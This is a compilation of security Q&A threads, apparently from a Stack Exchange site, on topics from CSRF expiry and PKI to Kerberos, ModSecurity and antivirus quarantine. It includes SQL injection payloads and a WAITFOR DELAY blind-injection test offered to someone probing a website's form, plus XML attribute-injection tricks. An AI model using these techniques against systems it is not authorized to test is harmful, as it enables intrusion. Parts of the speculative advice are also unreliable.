As always, the hard problem in this space is usability: the scheme has to be designed to work well for a typical user.  I suspect that this scheme ranks poorly on that criteria.

There's a tremendous amount of prior work on this subject.  It turns out that this is a challenging problem, but there are some quite good solutions.  I suggest looking at PwdHash (www.pwdhash.com) and Passpet (passpet.org).  Either one of them is a reasonable solution.  Passpet is probably more secure, but harder to use.  I definitely do not recommend trying to invent your own homebrew solution, especially if you're not already aware of the prior work on this problem.

Alternatively, many browser password managers offer the ability to sync across multiple machines or multiple browsers (using storage in the cloud).  Why not try one of them?  (I don't understand your statements about not being able to use it on another machine.  The good solutions all provide a way to use your passwords from multiple machines.)


Can XML attributes be exploited? on my website i deliver an xml, whereas GET parameters will be added as (entityencoded) attributes somewhere in the xml.

stripped down example:

http://host/file.xml?x=y

leads to

<root>
  <element x="y" />
</root>

note that the string is being html entity encoded so you cant really escape out of the quotes. a string like this

"/>

leads to

&quot;/&gt;

but could this be exploited another way?

You didn't give us information about how the XML is used/parsed afterwards. Still I've got two points on this:

By using something like http://host/file.xml?a=b%20x=y someone will be able to add an additional attribute depending on how you deal with the output, this might be a problem. Also some parsers take the first occurrence of an attribute, some the last and some even concatenate values with the same key. So what about http://host/file.xml?x=z%20x=y which may result in something like <element x=z x="y" /> (of course this also depends on how strict your parser is and what values are accepted for x.
Depending on the parser, there might be ways to encode characters like "/> when sending them to your application without them being HTML entity encoded.

If you provide more information, we might be able to give you a more specific answer. Anyway, I would highly recommend not to insert unchecked user input into any XML. If really needed, you should at least use some kind of filtering (the best would be a whitelisting of accepted values or at least a regex for what you want to accept). In addition, the XML parser should also be provided a schema to validate the XML.


CSRF expiring before form submitted I have a very long web form that could take hours for people to complete. The problem with this is when people take too long the CSRF token expires before they're done and when they hit submit they get a 403 error.

To fix this issue I'm thinking of doing an AJAX request every hour to update the session and extend the token expiry. Are there any security concerns with doing this? Or are there any better ways of handling this situation?

There are absolutely security concerns with this; otherwise, the session timeout would be useless in the first place.

That said, there may be good reasons to disable session timeouts, but in this case, you can and should do so explicitly, and with full regard of all consequences.

To add to the solution: while I think it's already questionable to have a single form on a single web page that takes that long to fill out without saving in the meantime, with the risk of loosing the whole work when anything goes wrong (big usability issue), I think what you do want to achieve is prolonging the session (and thus the validity of the csrf token) by doing an ajax request every so often when the user is still active. So you should monitor if any form fields where changed (for example, within the last 5 minutes), and only then start the ajax request.


Is it Possible to use one commercial SSL Certificate to issue end user certs? My organization is preparing to purchase some 50 "units" from Symantec, with which we can purchase Verisign SSL certificates of varying authentication levels.   Our organization does not have--but definitely would like--the ability to send digitally signed e-mail to external business partners and clients, and use the same certificate to encrypt e-mail among other members of the organization.

My question is this: Suppose we were to purchase one SSL certificate from Verisign--this certificate would be an intermediate of the root CA.  But our organization could then use this for a Global PKI mail server (Say, SecureMail.OurCompany.com) for the purpose of issuing end user (leaf) certificates.

Is this possible (does it even make sense)?  Could we use the Verisign-issued certificate to then issue end user (leaf) certificates to incorporate into the company e-mail (MS Exchange) system?  How would this be done? What software would one use to do issue end-user certificates this way?

You don't issue certificates with an SSL certificate -- you issue certificates with an intermediate CA certificate. That's a different beast; namely, contrary to what is colloquially known as "an SSL certificate", an intermediate CA certificate is granted CA power by virtue of including a Basic Constraints extension with the cA flag set to TRUE. Presence of that flag is checked by software which validates certificates. You could, technically, sign certificates with your SSL private keys, but nobody would accept these certificates as valid.

Verisign or any other commercial CA will sell you an intermediate CA certificate only under some rather strict conditions: it will cost you a lot of money, and you will have to demonstrate that you can be entrusted with the power to issue certificates. Indeed, once you have that intermediate CA certificate, nothing technically prevents you from then forging fake certificates for google.com or microsoft.com that would be accepted silently by all Web browsers worldwide. Therefore, Verisign will want to ensure that you have procedures to avoid such shenanigans; in particular, strong physical security for the private key storage, dual control for all administrative operations, insurances, strict revocation procedures, and so on.

While you have the right logic (indeed, it is just a matter of having some "certificate issuing software", which can be as simple as some OpenSSL scripts), you underestimate the costs. If you want to operate your own CA (that's what you are actually talking about), then you will need to do it "properly", that is, with means which are proportionate to the required level of security and quality assurance. You will need to hire a PKI specialist. The cost will far exceed that of buying 50 end-entity certificates every year.


Removing Persistent MBR Malware I do have a problem, how do I remove a persistent MBR malware? probably the malware hides itself in HDD sector that an OS couldn't even access. Already tried to format it and remove clean all partitions. And also tried to change OS type from windows to linux. Got infected from an office PC. Symtoms are whenever I'm online the mouse moves by itself probably a RAT type. Tried to analyze traffic but couldn't see any (e.g. somewhat like a Pushed Microsoft Security Update traffic).

Update:

My Malware Analyzation:

probably its much more beyond OS rootkits somewhat like BluePill (firmware rootkit) but not hardware dependent
it adapts on what OS you are using (injects and download over ethernet specific type of malware for different OS)
actively listens and sends outgoing connections (can't be blocked by firewall) on low-level
and also the fact that I know its a mbr malware is because, my office pc have a different type of board (logically it's not somewhat bios malware where it is hardware dependent and mostly this type of malware only attacks intel motherboards) using amd on my laptop
somewhat like a malware that was recently demo'ed at DEFCON (forgot the name of malware) but that is bios type of malware using openbios + seabios. It is fully undetectable so much low-level type of attack malware.
and on the malware that infects me seems like --- it embeds itself on removable flash disk on low level firmware so it could infect other systems.

Update:

Here are some symptoms why I know it's a malware:

High peek of network usage even no process is accessing any network connections. (already check the process through netstat and process explorer).
Check md5 sums of files before and after has change. Probably the malware spreads itself and changing everything like a root kit.

I know the symptoms are very few because I've just recently check and observed it. And the malware is fully undetectable. Hard to distinguish between a normal process. Very low memory process consumption. And I assume it also hides itself also on volatile RAM. That's why whenever I try to format the HDD it would still be there after the boot.

Additional info why I won't contact my employer regarding this is because our company has a rule that is never put any removable device on any of our workstation.

And if you think this is some type of advance malware probably you're thinking back way 90's there is already a gap between open source and close source funded projects. You are probably just observing some open source malware projects. Just like microsoft before google had apply some 3d rendering engine on Chrome. I think there is a 10 - 15 years difference in an open source and closed source research project. And not only the military and or government could deploy this.

If the only symptom of the issue is that your mouse moves involuntarily then I'd suggest that malware is unlikely to be the cause. Malware is either designed to be stealthy, collecting information and sending it back to command and control systems, or it is designed to be noticed, preventing normal work in order to simply annoy you or demand some sort of ransom.

Even if there is malware that allows remote control of your system it would be either from the command line or a virtual console, your mouse wouldn't move.

It sounds like the most likely cause of your mouse moving is simply your mouse is broken, or something is wrong in your drivers or hardware. Try to eliminate these possibilities before you spend more time wiping your computer.


.NET app expects csv files, what if it receives malicious file? I work in an enterprise environment on small custom applications which read data files (usually CSVs) and integrate the data into accounting software systems. I have come across a situation where there is a server with a user always logged-in and always running Outlook. This instance of Outlook has some VBA which will download e-mail attachments, as long as the sender's domain matches a pre-defined value. The file is downloaded to a folder where a .NET app is waiting to pick up files for processing.

What are the security implications / risks of this scenario?

I imagine there is some benefit to security through obscurity. Yet, what if a file that was infected was sent and downloaded? If the .NET app only reads files with a .csv extension, can infected files be a CSV? Can it execute its malicious payload by being read by an app treating it like a comma-delimited file?

Thank you for your thoughts and guidance. I am new to this particular stack exchange and welcome any corrections to etiquette.

You could check the PE header of the file to ensure its actually text/csv as expected.  There's a project called Mime Detective for .net that will do this for you. You could also hook into an antivirus and scan the file first if your mail service isn't doing that anyway.

Depending how you verify the sender of the mail,  there is a potential of the sender address being spoofed.

If malicious content concerns you could check for sql with in the file,  assuming it doesn't naturally contain keywords you could scan for those.


SQL injection with no output So I found this section of a webpage, which is a basic "feedback box". It had all the characteristics of an SQL injectable element. Scanned it with OWASP, it was true. Tried SQLmap, it gave me connection errors since it was protected.

Since it's an element with no output, only a "thank you" message. How can I test it?

Here's the error message I get when I don't comment out the rest:

La consulta falló: select * from encuestas_new_t where id = '1' and 1=0' and 1=0=1 -- '

When I comment out the rest of the query with -- - it works as if it was the normal default link. What steps would you recommend me to take? Thank you

The standard method for verifying "Blind" SQL injection attacks is the WAITFOR Flow Control element.

WAITFOR DELAY '00:00:5'; - for example, this will wait 5 seconds before returning. Assuming the operation is synchronous with the code, if you see a 5 second delay before a response, you can verify that the injection is working.

You can read more on Blind SQL Injections on the OWASP Website.


What Is AllowNullSessionFallback? I've been examining various things under LSA in the registry, and I came across this:
http://www.itsecdb.com/oval/definition/oval/gov.nist.usgcb.windowsseven/def/20016/Network-security-Allow-LocalSystem-NULL-session-fallback.html

What exactly is Null session fallback? When does it occur? What sort of risk would I be looking at in my network from it?

Thanks for any responses in advance!

From Network security: Allow LocalSystem NULL session fallback:-

This policy affects session security during the authentication process between computers running Windows Server 2008 R2 and Windows 7 and those computers running earlier versions of the Windows operating system. For computers running Windows Server 2008 R2 and Windows 7, services running as Local System require a service principal name (SPN) to generate the session key. However, if Network security: Allow Local System to use computer identity for NTLM is set to disabled, services running as Local System will fall back to using NULL session authentication when they transmit data to servers running versions of Windows earlier than Windows Vista or Windows Server 2008. NULL session does not establish a unique session key for each authentication; and thus, it cannot provide integrity or confidentiality protection. The setting Network security: Allow LocalSystem NULL session fallback determines whether services that request the use of session security are allowed to perform signature or encryption functions with a well-known key for application compatibility.
Enabled:
When a service running as Local System connects with a NULL session, a system-generated session key is created, which provides no protection but allows applications to sign and encrypt data without errors. This increases application compatibility, but it degrades the level of security.
Disabled:
When a service running as Local System connects with a NULL session, session security will be unavailable. Calls seeking encryption or signing will fail. This setting is more secure, but at the risk of degrading application incompatibility. Calls that are using the computer identity instead of a NULL session will still have full use of session security.

This seems to answer all your questions, but please post a comment if not and maybe myself or others could clarify.


Best practice to block Dropbox usage We have users sync their data at company with their home computer.
What's the best way to block it?

Block *.dropbox.com
Find out all dropbox IPs and block IPs.
For windows users, deploy GPO to prevent dropbox installation.

Using Dropbox is not inherently a greater security risk than other methods of data transfer.  I work at a security consulting firm and we often use Dropbox to move encrypted archives to our clients.  We also use SFTP,  but this seems to be problematic for some of our clients.

A better policy is that all company data must be encrypted at rest.  This policy should include company laptops, servers, cloud services and anywhere else you maybe storing company data.  Make sure you educate your employees about storing and transferring data in a secure manner.  Blocking Dropbox may have adverse effects,  such as forcing employees to use less secure methods of transferring data.  I have found that employees will find creative ways of doing their job,  and its not always secure.


Google Chrome Apps phishing What prevents an attacker from copying and pasting a Chrome packaged app (which is just a zipped web app) then distributing it on the Chrome webstore under a slightly different name?

Just like piracy, you can't really stop it. Use legal means like the DMCA and C&D letters to stop the other person, or report it to Google once you find out.

Google might have features that check the hash of an app to see if it's a copy of another person's app, but they might not. Understand that there's nothing that you can do if you don't know a fradulent app exists - if you find one than do whatever it takes to get his app off the market.


Difference between ABAC and CBAC I am currently researching about access control models. While reading I found especially two different access control models, which I couldn't differ.

One is Attribute Based Access Control (ABAC) and the other is Context Based Access Control (CBAC). Does anyone know what the differences between both of them are?

ABAC is a generic term and access control model much like RBAC is. Both are defined and formalized by NIST. In their latest publication, NIST consider ABAC as the next evolution in access control.

CBAC on the other is not a model. It's vendor-specific, in this case Cisco. You can see CBAC as a specialization of ABAC.

I've written most of the ABAC Wikipedia page so I'll naturally recommend you check it out. There are implementations of ABAC out there (e.g. Axiomatics which is where I work) which you can use to define fine-grained access control on APIs, databases, and more.

Lastly, there is a standard that implements ABAC: XACML or extensible access control markup language


Vulnerability of a computer behind a serial port? Let’s consider these 4 computers :

East Coast location :

computer East1 is connected to the internet.
computer East2 is connected to East1 through a RS232 serial cable.

West Coast location :

computer West1 is connected to the internet.
computer West2 is connected to West1 through a RS232 serial cable.

East2 and West2 have a copy of the same one time pad.
Their only connection to another computer is the serial cable.
They use a custom written software to transmit (crypted) messages on the serial port.
They have another custom written software that can crypt / decrypt a message with the one time pad.

East1 and West1 have another custom software that can :

send and receive the crypted messages through the serial cable
send and receive the crypted messages to each other via internet (email,
FTP, SSH ...)

They don't have the one time pad so cannot decrypt the messages. They're just acting as transmitters.

Example scenario :

Bob is on east coast and want to send a crypted message to Jane who is living on west coast.
- Bob writes the message on East2.
- East2 encrypt the message with the one time pad
- East2 sends the message to East1 through the serial cable
- East1 receives the message and forwards it to West1 via internet
- West1 receives the message and transmits it to West2 through the serial cable
- West2 decodes the message
- Jane reads the message on West2
...
- she decides to answer
- West2 encrypts her new message and pass the message to West1 through the serial cable
- West1 sends the message to East1 via internet
- East1 receives the message and sends it to East2 through the serial cable
- East2 decrypts the message and Bob reads Jane's answer

Let's make some assumptions :
- the one time pad is truly random (meaning unbreakable)
- East2 and West2 were not compromised before being connected with the serial cable
- Bob and Jane are trusted
- and so is the developer that wrote the custom softwares used to communicate through the serial port
- the potential attackers can't access physically to East2 and West2 (nor with tempest etc)

And finally here is my question:
can an attacker who gained control of East1 and / or West1 access the one time pad on East2 and / or West2 ?

I understand that the attacker can :
- intercept the coded messages (wich he can't read if the one time pad is random)
- stop the communications between all the computers
- send fake messages (wich should be gibberish once decoded)

But can he do anything else if its target is behind a serial cable ?

More questions :
- does it change anything if instead of true serial ports, serial to USB converters are used ?
- if the solution is secure, does the operating system of East2 and West 2 has any role to play or even an unpatched Windows 95 would not change anything (remember the attacker can't access physically the computers) ?

Thanks in advance for your inputs.

Interesting theoretical question, so I'll provide a theoretical answer :).

Lets assume that East1 and West1 are compromised (they're connected to the Internet and running COTS software so not a massively unreasonable assumption).

The interface to the code running on East/West2 is the software making the serial connection and transmitting the encrypted messages.  Like any software it will have bugs and these bugs may be security relevant.

If the software running the communication over the serial port has a buffer overflow issue for example it may be possible for an attacker to transmit a message which allowed for code execution on the serial-only computer.

At that point the Operating System in use on the serial connected systems could be relevant as OS level mitigations (e.g. ASLR) could be relevant in whether it's possible to exploit the hypothetical vulnerability in the software running over the serial connection.

Assuming that the software running the serial connection has an exploitable buffer overflow or similar it could be possible got get remote command execution on the serial connected machine and thereby get access to the one-time pad.

Of course in the real-world that's a pretty unlikely chain of events and it would likely be easier for the attacker to take some alternate avenue to get access to the information :)


Does it still make sense to encrypt data over SSL? I understand that SSL connections already has its layer of encryption to protect data transmitted between a client and server.

Assuming that my connection has SSL, does it still make sense for me to encrypt data that is transferred between a client and server using keys?

For instance, I might be sending and calling a REST API with sensitive information. Can I just send them in clear text over HTTPS? I believe this should already be safe with SSL right?

Or should I still encrypt sensitive data before sending? But does it even still make sense to double encrypt the data since I'm already on a HTTPS connection?

It mainly depends on the risks you want to mitigate. If you can (reasonably) trust all the infra around the server, and if you do not need to protect this data from a corporate deep inspection proxy, you can trust the SSL/TLS encryption layer.

You should normally only add another encryption level in the following use cases:

you are at work behind a corporate proxy with deep packet inspection and the data is sensitive enough to require being hidden to the local network support team
the data should never be on decrypted form on the server. This can be used if you cannot trust the server admin team

An example of the latter use case is the exchange of S/MIME encrypted mails. You still use TLS to protect the communication (mainly the credentials) but only the final recipient will be able to read the message: the mail server admin only finds a crypted payload.


Why should I need to sign in to a (school) wifi network every time? My school's wifi network is open, but requires a login with student account name/password in the browser.

What confuses me is that it asks for this login every time the network is accessed (or every few hours while continuously connected). Is there a reason it has to do that? Why can't the network just remember my computer/phone and let it in every time? (And if this has to do with the browser login, I'm pretty sure I've used similar logins in the past in hotels, and those networks remembered my devices)

Is this set-up due to a security concern?

Yes, I guess your login is not to the wireless network. The network is open, anyone can connect and probably to surf you have to validate against some captive portal by radius or whatever security mechanism.

So the answer is yes, it is because a security concern. And to know exactly why your login is not remembered we need to know all the details... what kind of login is, etc.

EDIT Probably after login you have a session cookie. That cookie has a life-time. Maybe is expiring after some hours. Is the most common option and probably what is happening to you on that network.

Regarding the kind of logins... There is a lot of web authentication methods (one time passwords, signatures, tokens, cookies, etc). Look at this.

Is not the same a basic HTTP RFC 2617 auth than other login for example and you can make a differentiation only watching it.

First picture is a basic HTTP RFC 2617 login and the second one is an standard form.


What triggers Google's reCAPTCHA I noticed that Google's "I am not a robot" reCAPTCHA forces me to check correct images on my computer. I installed a virtual machine and tried there. Same thing. Used proxy. Same thing too. Then I used another computer in the same network (same public IP), but this time the reCAPTCHA doesn't force me to solve it. It just checks itself when I click it.

Very curious behaviour. I repeated the process a couple times with a few days in between, and some computers never need to solve reCAPTCHA, while others (including brand new virtual machines) behind a proxy need to. I even tried a new browser in a fresh new VM. I'm on a home network, not an enterprise network. I am confused about what triggered reCAPTCHA into thinking it needs to double check me even when using new virtual machine behind a proxy?

On computers where it isn't suspicious, I can delete all the cookies, history and caches, visit a website and reCAPTCHA just lets me go without any concerns. So it can't be solely based on my past activity. On the other hand, if I indeed solve the reCAPTCHA and register for an account on a website, the website is missing all the functionality for registered users.

Also, when I'm presented with a CAPTCHA, even on brand new VMs, the functionality of registered users is limited. Which leads to thinking that reCAPTCHA sends information of what it thinks about a specific user to the website owner. Is this a documented behaviour?

Google tries to figure out if you are a bot or not. If it's in doubt, it serves you a CAPTCHA to check. Exactly how this is done is part of Google's secret sauce, and I don't think they will tell you. But here are some ingredients I guess that they mix together:

Your IP: Has it been identified as a bot already? Is it a Tor exit node?
The resources you load: A simple bot does not load styles or images, since it does not need them. That is a tell tale sign that someone is not human (or, as JDługosz points out in comments, blind).
Sign in: Are you signed in to a Google account? Does that account appear to belong to a real person?
Your behaviour: A human scrolls down the page, moves the mouse around, takes some time between pushing down the mouse button and releasing it. A human does not click the dead center of the check box every time. All this could be mimmicked by a good bot, but it is not easy.
Your history: Google knows a lot of your browsing history. Bots usually don't have a browsing history.

Figuring out exactly why you need to solve the CAPTCHA sometimes, but not others, is not easy. I could imagine that a fresh virtual machine has a browser fingerprint - installed fonts, plugins, etc - that is very common and therefore fishy enough for Google to flag your for a CAPTCHA. If you are behind a proxy, perhaps others have used it as well for non legit activities.

That you don't get a CAPTCHA when you clean your cookies is surprising. I don't understand why - then Google knows very little about you and should assume you need a CAPTCHA to be on the safe side. Perhaps they do some advanced browser fingerprinting so they still know who you are?

Do note that all of this is speculation. If you want more speculation, have a look at How does new Google reCAPTCHA work?.


Epson Projector security threats I have an EPSON PROJECTOR (model EB-824H)
And I would like to use it in our company.
As I know (but not sure) this kind of projector has no WIFI,no network card and there is no HD in this PROJECTOR
It also has 2 USB (one to PC)
What security threats or risks can arise from connecting this kind of projector to a network PC via USB?
Can someone upload malware to this projector ( maybe something that writes to the ROM, or crossing into the network...)?

The only security threat with this product is someone stealing it.  Without a network it has no remote attack surface.  Without long term storage there is really nothing to hack.

It does have a password,  but who cares?  Probably one of the least useful password protected resources I have heard of.  It has USB host,  and so you might be able to corrupt memory with a specially crafted usb device or video files,  but again this is attack is worthless because no one cares.  This is not a strategic resource.


Are there differences between McAfee quarantine and other AV quarantining mechanisms? I'm working on a documentation of an IT system and I want to describe what is happening, when McAfee finds and quarantines a suspicious file. I have read the many questions on quarantining, but all the answers given, talk about quarantine in general and do not mention the functionality of a given software.
I also read through some bit of McAfee documentation and searched online, but couldn't find a proper description so far.

I'm interested in client and/or server based software. I guess the functionalities should be the same.

To be clear, I'm interested in the specific processes that are initiated when a file is quarantined. If a file is encrypted, what algorithm is used. If a file is isolated, how is that done. The whole shebang.

If there is no answer to the question in the title, it would be nice to know, if basically all AV software uses the same mechanisms when quarantining a file. (But still, which ones exactly.)

See here - https://kc.mcafee.com/corporate/index?page=content&id=KB72755&pmv=print

Quarantined files (.BUP format) are an archive file containing two files - the quarantined file "file_0" and a details file containing the original file name / location.

Both have their data xor'd with the key 0X6A.

When quarantining McAfee will kill the running process then xor/archive the file to ensure it cannot be executed (without knowledge of the McAfee archieve process).


Does Gmail's 'preview' feature for documents in the browser prevent malware? I'm concerned about opening attached Word documents and other files (images, PDFs, etc). Gmail has a feature that previews these in the browser for you in a popup, without leaving the Gmail screen - it looks like they've rendered images of the document in some way and are showing these instead. Is there any risk of malware if you view documents this way?

It will prevent any exploitation of any vulnerabilities unique to the application that you would use to normally open the attachment (e.g. Adobe reader, image viewer, etc).

It will not prevent exploitation of vulnerabilities in the browser due to rendering the attachment (although this would hard as the attacker would have to create a browser exploit that works with the specific implementation of the previewer that Google are using).

And it will not prevent exploitation of vulnerabilities in any algorithms or libraries shared with the previewer and your usual application. However, for the preview, again the attacker would need to craft the attachment in a specific way to not only exploit the library, but to have this exploit then generate the appropriate browser exploit. The browser exploit could take the form of a simple attack vector such as an XSS attack though, which would be easier to achieve.


Kerberos: What is the structure for preauthentication with certificate (RFC 4556) I'm struggling to understand what the structure of a preauthentication request in kerberos should look like. After reading RFC 4556 and the referenced RFCs I'm still confused because of all the different cases.

My usecase is as follows: I want to authenticate on a windows domain with a certificate I retrieved from the CA belonging to the domain. The certificate contains the crl-URL and it's signature-algorithm is sha256RSA. The contained public key is a RSA2048 key.
As far as I understand I should send this certificate and sign it. I'm also aware that I have to send a nonce to avoid replay attacks.

I'm  unclear what has to be signed, i.e. what has to be in this part of the request.

PA-PK-AS-REQ ::= SEQUENCE {
          signedAuthPack          [0] IMPLICIT OCTET STRING,
                   -- Contains a CMS type ContentInfo encoded
                   -- according to [RFC3852].

RFC 3852 states:

SignedData ::= SEQUENCE {
        version CMSVersion,
        digestAlgorithms DigestAlgorithmIdentifiers,
        encapContentInfo EncapsulatedContentInfo,
        certificates [0] IMPLICIT CertificateSet OPTIONAL,
        crls [1] IMPLICIT RevocationInfoChoices OPTIONAL,
        signerInfos SignerInfos }

Although there's a lot of explanation to all these points, I'm afraid I'm a dummie as I just don't get it. Especially what belongs into version and encapContentInfo (I think the signature should go into the econtent-Field of the EncapsulatedContentInfo, but I'm not sure).

As the spec is a little confusing I just don't get what else has to be in this request and what not.

Can anybody shed a little light on this and clarify how the structure of the complete request should look like?

EDIT

OK, after some research I am even more confused. RFC 4556 states that the structure of PkAuthenticator in the AuthPack should look like this:

PKAuthenticator ::= SEQUENCE {
    cusec                   [0] INTEGER -- (0..999999) --,
    ctime                   [1] KerberosTime,
    nonce                   [2] INTEGER (0..4294967295),
    paChecksum              [3] OCTET STRING OPTIONAL,
    ...
}

Sniffing the smartcard-authentication-traffic with wireshark I got this PKAuthenticator-structure in a microsoft-environment:

SEQUENCE(1 elem)
    [0](1 elem)
        SEQUENCE(5 elem)
            [0](1 elem)
                SEQUENCE(2 elem)
                    [0](1 elem)
                        INTEGER2
                    [1](1 elem)
                        SEQUENCE(2 elem)
                            GeneralString
                            GeneralString
            [1](1 elem)
                GeneralString
            [2](1 elem)
                INTEGER 563793
            [3](1 elem)
                GeneralizedTime 2016-12-01 13:53:08 UTC
            [4](1 elem)
                INTEGER 1051204026

Is this the usual behaviour of microsoft doing their own thing regardless of what the spec says or am I missing something?

I'm addressing the question you added with your edit.

As documented by Microsoft, some Windows versions ("<2> Section 2.2: [RFC4556] message syntax is not supported in Windows 2000, Windows XP, and Windows Server 2003.") are based on an earlier draft of RFC 4556 that defined the following structure for PKAuthenticator (draft version 11 was the last to use this syntax for PKAuthenticator):

--
-- PK-AUTHENTICATOR - Different from [RFC4556]
-- Appendix A, PKAuthenticator.
--
PKAuthenticator::= SEQUENCE {
     kdc-name   [0] PRINCIPAL-NAME,
     kdc-realm  [1] REALM,
 -- name and realm of the KDC issuing the ticket
     cusec      [2] INTEGER,
     ctime      [3] KerberosTime,
     nonce      [4] INTEGER
 }

With the final RFC (draft version 22 actually) the identifier for PA-PK-AS-REP also changed from 15 to 17 to distinguish between the two format specifications (Microsoft mentions that too: "An earlier draft of [RFC4556] supported a different pre-authentication data identifier: PA-PK-AS-REP_OLD 15").


MySQL ENCRYPT salt is not random? I know there's little reason to still use ENCRYPT() nowadays, what with bcrypt being almost ubiquitous and MySQL providing better hashes such as SHA1.

But while dabbling with ENCRYPT() on MySQL 5.6.12 (OpenSuSE 13.1, x64), I noticed an anomaly with its output that I at first attributed to the entropy pool being depleted (it could have been), and then possibly to the salt being leaked between connections.

Upon verification, it turned out not to be the case.

Rather, the salt is derived from the UNIX timestamp. So two calls to ENCRYPT() within the same second will yield identical salts, and the salt repeats itself exactly every one hour, 12 minutes, 16 seconds.

while(true); do \
    echo "SELECT NOW(),ENCRYPT('test');" \
    | mysql test | grep -v ENCRYPT; \
done | uniq -c

 54 2014-05-14 00:13:16     w5kVzeZkJCcqM
148 2014-05-14 00:13:17     x5/h3KfsBkEYk
150 2014-05-14 00:13:18     y5thvRDxwJgM6
145 2014-05-14 00:13:19     z5RL9IZ0..XH6
141 2014-05-14 00:13:20     .6asQOJRqB1i2
130 2014-05-14 00:13:21     /6J1nHNWbi6Ac
124 2014-05-14 00:13:22     06NT9j.EegRJs

Of course I can supply my own salt and get it from a random source - TO_BASE64(CONCAT(CHAR(RAND()*256),CHAR(RAND()*256))) or something, which should get the same character range as the original salt in its first two bytes, so ENCRYPT()'s whipping up a salt of its own needs only be a last-ditch effort.

And the salt isn't expected to be secret, so it being known beforehand is maybe not too great a problem.

Even so, using time() for salting doesn't seem a very good option to me (this answer also confirms this).

Am I missing something obvious? Is maybe this behaviour configurable somehow (apart from recompiling)? Is it a known feature (I wasn't able to find any reference on Google or MySQL KB)?

The MySQL ENCRYPT() function is very poorly named, because it is not encryption at all; it is a wrapper around the OS-provided crypt() function, which is equally badly named. This is a password hashing function which happens to have been derived from the block cipher DES, but "derived" is the important word. The algorithm has been modified, and, in particular, the provided password is used as encryption key, not as data to be encrypted. In particular, the transform is not reversible: there is no decrypt() which would reveal the password.

It so happens that the traditional DES-based crypt() function, that ENCRYPT() builds upon, includes a 12-bit salt. The point of a salt is to repeat itself as rarely as is feasible. However, with a 12-bit salt, there are only 4096 possible salt values, so salt reuse cannot really be avoided. On the other hand, salts don't need to be secret or random or unpredictable. A time-based allocation strategy is as good as any other; random salt selection would not fare much better in that respect. That two calls within the same second imply the same salt is kind of sloppy; it may backfire if you have to use ENCRYPT() in a batch fashion, to hash a lot of passwords in a short time. Apart from that, there is nothing really wrong about using the current time as salt.

The real weakness, here, is using the DES-based crypt() function at all. It has some serious shortcomings:

Passwords limited to 8 ASCII characters (subsequent characters, and the high bit of each byte, are ignored).
Very small salt space leading to unavoidable non-negligible salt reuse.
Way too fast for comfort: the internal number of iteration is fixed and low, and the function can be speeded up a lot in the context of a parallel attack by using bitslicing techniques.

If you have taken the ill-fated decision to use that function, then a time-based salt will not noticeably increase your self-inflicted misery.


Where Does ClamAV Get Its Virus Signatures? I see that ClamAV has virus definition files which are mostly hash codes in md5, sha1, and sha256 formats, which either look at the whole file or what are called PE sections of an executable file. Of course, there are variations outside that which look for other things. However, the hashes make up the bulk of the megabytes on the virus definitions.

So how does ClamAV get these? Are there free sources on the web that we can pull these from in order to build our own antivirus software? (I'm a C++ developer, you see.)

EDIT: Clarifying more -- Surely ClamAV doesn't have a lab where they find malware and catalog these hash virus signatures, do they? Surely they use some national or international organization or company that is already doing this?

ClamAV belongs to Cisco and its Talos Group. Cisco acquired Sourcefire, the makers of Snort and ClamAV in late 2013.

http://www.cisco.com/web/about/ac49/ac0/ac1/ac259/sourcefire.html

http://www.talosintel.com/about/
http://www.cisco.com/c/en/us/products/security/talos.html

  © 2004 - 2015 Cisco and/or its affiliates. All rights reserved.

Sourcefire also belongs to Cisco: http://blog.clamav.net/2013/10/cisco-community-and-open-source.html

The signatures are on the server of ClamAV

http://www.clamwin.com/content/view/58/27/

  Where can I manually download virus definition files from?

  You can get the virus definitions without clamwin via http://

  http://database.clamav.net/main.cvd
  http://database.clamav.net/daily.cvd

  Then copy the downloaded main.cvd and daily.cvd to your database
  location which is specified in the ClamWin Preferences, File Locations
  tab.

  The default database location is: "C:Documents and SettingsAll
  Users.clamwindb"

Many big contributors are antivirus vendors and security companies:
http://www.clamav.net/about#credits

  Contributors

  ClamAV Team

  Joel Esler
  Douglas Goddard
  Nigel Houghton
  Tom Judge
  Kevin Lin
  Steve Morgan
  Matt Olney
  Dave Raynor
  Samir Sapra
  Ryan Steinmetz
  Dave Suffling
  Matt Watchinkski
  Alain Zidouemba

  ClamAV QA

  Erin Germ
  Dragos Malene
  Vijay Mistry
  Matt Donnan

  Talos Group

  Andrea Allievi
  Jonathan Arneson
  Ben Baker
  Nathan Benson
  Andrew Blunk
  Kevin Brooks
  Jaime Filson
  Paul Frank
  Erick Galinkin
  Douglas Goddard
  Richard Harman, Jr.
  Nicholas Herbert
  Shaun Hurley
  Richard Johnson
  Alex Kambis
  Brittany Lawler
  Justin Lindsey
  Chris Marczewski
  Christopher Marshall
  Nick Mavis
  Christopher McBee
  David McDaniel
  Alex McDonnell
  Kevin Miklavcic
  Patrick Mullen
  Marcin Noga
  Katie Nolan
  Carlos Pacho
  Ryan Pentney
  Nick Randolph
  Marcos Rodriguez
  Geoff Serrao
  Brandon Stultz
  Nick Suan
  Emmanuel Tacheau
  Melissa Taylor
  Angel Villegas
  Andy Walker
  Alicia Willett
  Yves Younan

  Contributors

  Aeriana, Andreas Cadhalpun, Mike Cathey, Michael Cichosz, Diego
  d'Ambra, Arnaud Jacques, Tomasz Papszun, Bill Parker, Robert
  Scroggins, Sven Strickroth, Trog, Steve Basford, Dennis de
  Messemacker, Jason Englander, Thomas Lamy, Thomas Masden, Boguslaw
  Brandys, Anthony Havé, Andreas Faust, Sebastian Andrzej Siewior

  ClamAV Emeritus

  Luca Gibelli, Török Edvin, Tomasz Kojm, Alberto Wu, Nigel Horne

Each update contains information about the sender, some mention Virus Total, VRT Sandbox and others.

Generally antivirus vendors, security researchers and contributors collaborate and share samples.

http://lists.clamav.net/pipermail/clamav-virusdb/
http://lists.clamav.net/pipermail/clamav-virusdb/2015-December/002519.html

Anyone can contribute and there is also a mailing list for community contributed signatures.

http://blog.clamav.net/2014/02/introducing-clamav-community-signatures.html
http://lists.clamav.net/cgi-bin/mailman/listinfo/community-sigs


Allow ModSecurity to pass specific HTML tags? I have a web-server running a Perl site, and I have a WAF (ModSecurity) running. The website has a form. When submitted the request contain HTML tags like so:

Ahoy

&nbsp;

TEST Test,

4950

How can I pass these tags without triggering ModSecurity and the request getting blocked?

When normal behavior of the application is blocked by the rule set, this is called a false positive. The article Handling False Positives with the OWASP ModSecurity Core Rule Set may be of help to you. It describes how to identify the rule that blocks valid requests and to disable it using the SecRuleRemoveById configuraiton directive.


